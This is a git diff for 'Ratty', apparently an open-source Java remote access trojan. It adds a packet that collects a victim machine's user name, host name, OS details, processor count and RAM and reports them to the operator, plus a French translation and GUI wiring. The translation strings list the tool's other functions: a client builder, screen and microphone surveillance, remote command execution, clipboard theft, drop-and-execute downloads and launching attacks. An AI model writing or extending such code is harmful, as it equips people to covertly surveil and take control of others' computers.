diff --git a/Ratty/res/gui_menu_icons.png b/Ratty/res/gui_menu_icons.png index 1680623..6113eba 100644 Binary files a/Ratty/res/gui_menu_icons.png and b/Ratty/res/gui_menu_icons.png differ diff --git a/Ratty/res/language/lang.properties b/Ratty/res/language/lang.properties index 865ca5e..8fdd92d 100644 --- a/Ratty/res/language/lang.properties +++ b/Ratty/res/language/lang.properties @@ -24,6 +24,13 @@ menu.surveillance=Surveillance menu.utility=Utility menu.other=Other +information.user_name=User name +information.host_name=Host name +information.os_name=Operating system +information.os_architecture=Architecture +information.processors=Processors available +information.ram=RAM available + file_information.name=File name file_information.path=Path file_information.size=File size @@ -56,6 +63,7 @@ action.drop_file=Drop file action.drop_execute=Drop and execute file action.chat=Open chat action.file_information=Get file information +action.information=Show client information column.name=Name column.location=Location diff --git a/Ratty/res/language/lang_de.properties b/Ratty/res/language/lang_de.properties index c6e2bd1..de8b2fd 100644 --- a/Ratty/res/language/lang_de.properties +++ b/Ratty/res/language/lang_de.properties @@ -24,6 +24,13 @@ menu.surveillance= menu.utility=Werkzeuge menu.other=Anderes +information.user_name=Benutzername +information.host_name=Hostname +information.os_name=Betriebssystem +information.os_architecture=Architektur +information.processors=Prozessoren verfügbar +information.ram=RAM verfügbar + file_information.name=Dateiname file_information.path=Pfad file_information.size=Dateigröße @@ -56,6 +63,7 @@ action.drop_file=Datei aus dem Internet laden action.drop_execute=Datei aus dem Internet ausführen action.chat=Chat öffnen action.file_information=Dateiinformationen anzeigen +action.information=Clientinformationen anzeigen column.name=Name column.location=Ort diff --git a/Ratty/res/language/lang_en.properties b/Ratty/res/language/lang_en.properties index 865ca5e..8fdd92d 100644 --- a/Ratty/res/language/lang_en.properties +++ b/Ratty/res/language/lang_en.properties @@ -24,6 +24,13 @@ menu.surveillance=Surveillance menu.utility=Utility menu.other=Other +information.user_name=User name +information.host_name=Host name +information.os_name=Operating system +information.os_architecture=Architecture +information.processors=Processors available +information.ram=RAM available + file_information.name=File name file_information.path=Path file_information.size=File size @@ -56,6 +63,7 @@ action.drop_file=Drop file action.drop_execute=Drop and execute file action.chat=Open chat action.file_information=Get file information +action.information=Show client information column.name=Name column.location=Location diff --git a/Ratty/res/language/lang_fr.properties b/Ratty/res/language/lang_fr.properties new file mode 100644 index 0000000..e4fc836 --- /dev/null +++ b/Ratty/res/language/lang_fr.properties @@ -0,0 +1,65 @@ +debug.question=Serveur ou client? +debug.server=Serveur +debug.client=Client + +server.port_question=A quel port le serveur sera-t-il associe? +server.port_error=Port invalide. +server.free_warning=Le client ne sera pas disponible jusqu'à ce que l'ordinateur redemarre.\r\n\ +Continuer? + +server.yes=Oui +server.no=Non +server.cancel=Annuler +server.tcp=TCP +server.udp=UDP +server.attack_message=Quel protocole? +server.url_message=Entrez une URL. +server.amount_question=Combien de fois? +builder.address_question=A quelle adresse le client devra-t-il se connecter (exemple.no-ip.org)? +builder.port_question=A quel port? +builder.error=Quelque chose a echoue. +menu.file_management=Gestion des fichiers +menu.surveillance=Surveillance +menu.utility=Utilitaire +menu.other=Autre +file_information.name=Nom du ficher +file_information.path=Chemin d'acces +file_information.size=Poids du ficher +file_information.directory=Dossier +file_information.creation=Date de creation +file_information.last_access=Dernier acces +file_information.last_modification=Derniere modification +file_information.bytes=Octets + +action.popup=Ouvrir une fenetre +action.screenshot=Prendre une capture d'ecran +action.desktop=Activer/Desactiver le partage d'ecran +action.voice=Activer/Desactiver l'ecoute du micro +action.files=Parcourir les fichiers +action.command=Executer une commande +action.clipboard=Afficher le presse-papiers (clipboard) +action.website=Ouvrir un site web +action.audio=Jouer un son +action.free=Liberer le client +action.build=Createur de client +action.attack=Lancer une attaque +action.request_files=Demander le contenu +action.download=Telecharger le fichier +action.upload=Deposer un fichier ici +action.execute=Executer le fichier +action.delete=Supprimer le fichier +action.new_directory=Creer un nouveau dossier +action.upload_execute=Envoyer et executer un fichier +action.drop_file=Deposer un fichier ici (depuis internet) +action.drop_execute=Deposer et executer un fichier (depuis internet) +action.chat=Ouvrir un chat +action.file_information=Obtenir les informations du fichier + +column.name=Nom +column.location=Pays +column.address=Adresse IP +column.os=Systeme d'exploitation +column.version=Version +column.desktop=Partage d'ecran +column.voice=Ecoute du micro +column.ping=Latence \ No newline at end of file diff --git a/Ratty/src/de/sogomn/rat/gui/ChatWindow.java b/Ratty/src/de/sogomn/rat/gui/ChatWindow.java index 56ac3ad..c39732b 100644 --- a/Ratty/src/de/sogomn/rat/gui/ChatWindow.java +++ b/Ratty/src/de/sogomn/rat/gui/ChatWindow.java @@ -6,10 +6,10 @@ import java.awt.Dimension; import java.awt.event.ActionEvent; import javax.swing.JFrame; +import javax.swing.JScrollBar; import javax.swing.JScrollPane; import javax.swing.JTextArea; import javax.swing.JTextField; -import javax.swing.text.DefaultCaret; import de.sogomn.engine.util.AbstractListenerContainer; import de.sogomn.engine.util.ImageUtils; @@ -35,9 +35,6 @@ public final class ChatWindow extends AbstractListenerContainer scrollPane = new JScrollPane(chat, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_NEVER); final Container contentPane = frame.getContentPane(); - final DefaultCaret caret = (DefaultCaret)chat.getCaret(); - - caret.setUpdatePolicy(DefaultCaret.ALWAYS_UPDATE); submit.addActionListener(this::messageSubmitted); chat.setEditable(false); @@ -76,6 +73,11 @@ public final class ChatWindow extends AbstractListenerContainer public void addLine(final String line) { chat.append(line + "\r\n"); + + final JScrollBar scrollBar = scrollPane.getVerticalScrollBar(); + final int bottom = scrollBar.getMaximum(); + + scrollBar.setValue(bottom); } public void setVisible(final boolean visible) { diff --git a/Ratty/src/de/sogomn/rat/gui/server/RattyGui.java b/Ratty/src/de/sogomn/rat/gui/server/RattyGui.java index 98311f6..02646c0 100644 --- a/Ratty/src/de/sogomn/rat/gui/server/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/gui/server/RattyGui.java @@ -93,6 +93,7 @@ public final class RattyGui extends AbstractListenerContainer im public static final String ATTACK = LANGUAGE.getString("action.attack"); public static final String DROP_EXECUTE = LANGUAGE.getString("action.drop_execute"); public static final String CHAT = LANGUAGE.getString("action.chat"); + public static final String INFORMATION = LANGUAGE.getString("action.information"); public static final String CLOSE = "Close"; static { @@ -108,6 +109,7 @@ public final class RattyGui extends AbstractListenerContainer im UTILITY_ITEM_DATA.put(WEBSITE, MENU_ICONS[8]); UTILITY_ITEM_DATA.put(AUDIO, MENU_ICONS[7]); UTILITY_ITEM_DATA.put(CHAT, MENU_ICONS[12]); + OTHER_ITEM_DATA.put(INFORMATION, MENU_ICONS[13]); OTHER_ITEM_DATA.put(FREE, MENU_ICONS[10]); } diff --git a/Ratty/src/de/sogomn/rat/gui/server/RattyGuiController.java b/Ratty/src/de/sogomn/rat/gui/server/RattyGuiController.java index 70de2f0..1699e8c 100644 --- a/Ratty/src/de/sogomn/rat/gui/server/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/gui/server/RattyGuiController.java @@ -27,6 +27,7 @@ import de.sogomn.rat.packet.AudioPacket; import de.sogomn.rat.packet.ChatPacket; import de.sogomn.rat.packet.ClipboardPacket; import de.sogomn.rat.packet.CommandPacket; +import de.sogomn.rat.packet.ComputerInfoPacket; import de.sogomn.rat.packet.DeleteFilePacket; import de.sogomn.rat.packet.DesktopPacket; import de.sogomn.rat.packet.DownloadFilePacket; @@ -81,7 +82,8 @@ public final class RattyGuiController extends AbstractRattyController implements "language/lang_dk.properties", "language/lang_it.properties", "language/lang_sv.properties", - "language/lang_pt.properties" + "language/lang_pt.properties", + "language/lang_fr.properties" }; private static final String FREE_WARNING = LANGUAGE.getString("server.free_warning"); @@ -104,6 +106,12 @@ public final class RattyGuiController extends AbstractRattyController implements private static final String FILE_LAST_ACCESS = LANGUAGE.getString("file_information.last_access"); private static final String FILE_LAST_MODIFICATION = LANGUAGE.getString("file_information.last_modification"); private static final String FILE_BYTES = LANGUAGE.getString("file_information.bytes"); + private static final String USER_NAME = LANGUAGE.getString("information.user_name"); + private static final String HOST_NAME = LANGUAGE.getString("information.host_name"); + private static final String OS_NAME = LANGUAGE.getString("information.os_name"); + private static final String OS_ARCHITECTURE = LANGUAGE.getString("information.os_architecture"); + private static final String PROCESSORS = LANGUAGE.getString("information.processors"); + private static final String RAM = LANGUAGE.getString("information.ram"); private static final String FLAG_ADDRESS = "http://www.geojoe.co.uk/api/flag/?ip="; private static final long PING_INTERVAL = 3000; @@ -480,6 +488,8 @@ public final class RattyGuiController extends AbstractRattyController implements packet = createChatPacket(client); } else if (command == FileTree.INFORMATION) { packet = createFileInformationPacket(client); + } else if (command == RattyGui.INFORMATION) { + packet = new ComputerInfoPacket(); } else if (command == DisplayPanel.MOUSE_EVENT && client.isStreamingDesktop()) { packet = client.displayPanel.getLastMouseEventPacket(); } else if (command == DisplayPanel.KEY_EVENT && client.isStreamingDesktop()) { @@ -584,6 +594,28 @@ public final class RattyGuiController extends AbstractRattyController implements gui.showMessage(message); } + private void handleInfoPacket(final ComputerInfoPacket packet) { + final String name = packet.getName(); + final String hostName = packet.getHostName(); + final String os = packet.getOs(); + final String osVersion = packet.getOsVersion(); + final String osArchitecture = packet.getOsArchitecture(); + final int processors = packet.getProcessors(); + final long ram = packet.getRam(); + final StringBuilder builder = new StringBuilder(); + + final String message = builder + .append(USER_NAME).append(": ").append(name).append("\r\n") + .append(HOST_NAME).append(": ").append(hostName).append("\r\n") + .append(OS_NAME).append(": ").append(os).append(" ").append(osVersion).append("\r\n") + .append(OS_ARCHITECTURE).append(": ").append(osArchitecture).append("\r\n") + .append(PROCESSORS).append(": ").append(processors).append("\r\n") + .append(RAM).append(": ").append(ram).append(" ").append(FILE_BYTES).append("\r\n") + .toString(); + + gui.showMessage(message); + } + private boolean handlePacket(final ServerClient client, final IPacket packet) { final Class clazz = packet.getClass(); @@ -617,6 +649,10 @@ public final class RattyGuiController extends AbstractRattyController implements final ChatPacket chat = (ChatPacket)packet; handleChatPacket(client, chat); + } else if (clazz == ComputerInfoPacket.class) { + final ComputerInfoPacket info = (ComputerInfoPacket)packet; + + handleInfoPacket(info); } else if (clazz == FileInformationPacket.class) { final FileInformationPacket information = (FileInformationPacket)packet; @@ -670,6 +706,11 @@ public final class RattyGuiController extends AbstractRattyController implements @Override public void packetReceived(final ActiveConnection connection, final IPacket packet) { final ServerClient client = getClient(connection); + + if (client == null) { + return; + } + final boolean loggedIn = client.isLoggedIn(); if (loggedIn) { @@ -700,6 +741,10 @@ public final class RattyGuiController extends AbstractRattyController implements final ServerClient client = getClient(connection); + if (client == null) { + return; + } + gui.removeClient(client); clients.remove(connection); diff --git a/Ratty/src/de/sogomn/rat/packet/ComputerInfoPacket.java b/Ratty/src/de/sogomn/rat/packet/ComputerInfoPacket.java new file mode 100644 index 0000000..1afe00e --- /dev/null +++ b/Ratty/src/de/sogomn/rat/packet/ComputerInfoPacket.java @@ -0,0 +1,104 @@ +package de.sogomn.rat.packet; + +import java.net.InetAddress; +import java.net.UnknownHostException; + +import de.sogomn.rat.ActiveConnection; + +public class ComputerInfoPacket extends AbstractPingPongPacket { + + private String name, hostName, os, osVersion, osArchitecture; + private int processors; + private long ram; + + public ComputerInfoPacket() { + //... + } + + @Override + protected void sendRequest(final ActiveConnection connection) { + //... + } + + @Override + protected void sendData(final ActiveConnection connection) { + connection.writeUTF(name); + connection.writeUTF(hostName); + connection.writeUTF(os); + connection.writeUTF(osVersion); + connection.writeUTF(osArchitecture); + connection.writeInt(processors); + connection.writeLong(ram); + } + + @Override + protected void receiveRequest(final ActiveConnection connection) { + //... + } + + @Override + protected void receiveData(final ActiveConnection connection) { + name = connection.readUTF(); + hostName = connection.readUTF(); + os = connection.readUTF(); + osVersion = connection.readUTF(); + osArchitecture = connection.readUTF(); + processors = connection.readInt(); + ram = connection.readLong(); + } + + @Override + protected void executeRequest(final ActiveConnection connection) { + type = DATA; + name = System.getProperty("user.name"); + os = System.getProperty("os.name"); + osVersion = System.getProperty("os.version"); + osArchitecture = System.getProperty("os.arch"); + processors = Runtime.getRuntime().availableProcessors(); + ram = Runtime.getRuntime().totalMemory(); + + try { + hostName = InetAddress.getLocalHost().getHostName(); + } catch (final UnknownHostException ex) { + hostName = ""; + + ex.printStackTrace(); + } + + connection.addPacket(this); + } + + @Override + protected void executeData(final ActiveConnection connection) { + //... + } + + public String getName() { + return name; + } + + public String getHostName() { + return hostName; + } + + public String getOs() { + return os; + } + + public String getOsVersion() { + return osVersion; + } + + public String getOsArchitecture() { + return osArchitecture; + } + + public int getProcessors() { + return processors; + } + + public long getRam() { + return ram; + } + +} diff --git a/Ratty/src/de/sogomn/rat/packet/PacketType.java b/Ratty/src/de/sogomn/rat/packet/PacketType.java index 468440e..d75dcc9 100644 --- a/Ratty/src/de/sogomn/rat/packet/PacketType.java +++ b/Ratty/src/de/sogomn/rat/packet/PacketType.java @@ -26,7 +26,9 @@ public enum PacketType { PING(19, PingPacket.class), DOWNLOAD_URL(20, DownloadUrlPacket.class), CHAT(21, ChatPacket.class), - FILE_INFORMATION(22, FileInformationPacket.class); + FILE_INFORMATION(22, FileInformationPacket.class), + ATTACK(23, AttackPacket.class), + COMPUTER_INFORMATION(24, ComputerInfoPacket.class); public final byte id; public final Class clazz;